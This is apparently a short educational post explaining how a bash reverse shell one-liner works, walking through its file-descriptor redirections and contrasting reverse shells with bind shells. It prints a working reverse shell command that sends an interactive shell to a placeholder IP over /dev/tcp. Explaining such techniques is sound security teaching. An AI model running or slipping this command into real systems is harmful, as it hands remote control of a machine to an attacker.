More actions
A typical bash reverse shell payload looks like the following, where 1.1.1.1 is your IP address and 1234 is your netcat listener's port.
bash -i >& /dev/tcp/1.1.1.1/1234 0>&1
But what the heck does all that mean? The following is my favorite explaination of how it works.
&> file itself is the same as > file 2>&1, that is open file in write-only mode on file descriptor 1, and duplicate that file descriptor 1 to the file descriptor 2, so that both fd 1 and 2 (stdout and stderr) point to that open file destription 0>&1 (same as 0<&1 or <&1) adds 0 (stdin) to the list. It duplicates fd 1 to 0 as well (fd 0 is made to point to the same resource as pointed to by fd 1). Now, when doing > /dev/tcp/host/port in bash (like in ksh where the feature comes from), instead of doing a open(file, O_WRONLY), bash creates a TCP socket and connects it to host:port. That's not a write-only redirection, that's a read+write network socket. So you end up with fds 0, 1 and 2 of bash -i being a TCP socket. When bash -i reads on its stdin, it reads from the socket so from whatever sits at the other end of host:post and when it (or any command run from there) writes to fd 1 or 2, it is sent over that socket.
TLDR: Direct stdout, stderr, & stderr of an interactive bash shell session to a socketfile representing a hotline netcat listener setup on a remote machine.
You can think of reverse shells as different from bind shells because of whose opening the port. With a traditional bind shell the victim machine is opening the port, whereas with a reverse shell its the attacker who opens the port on their machine and a shell is sent to it.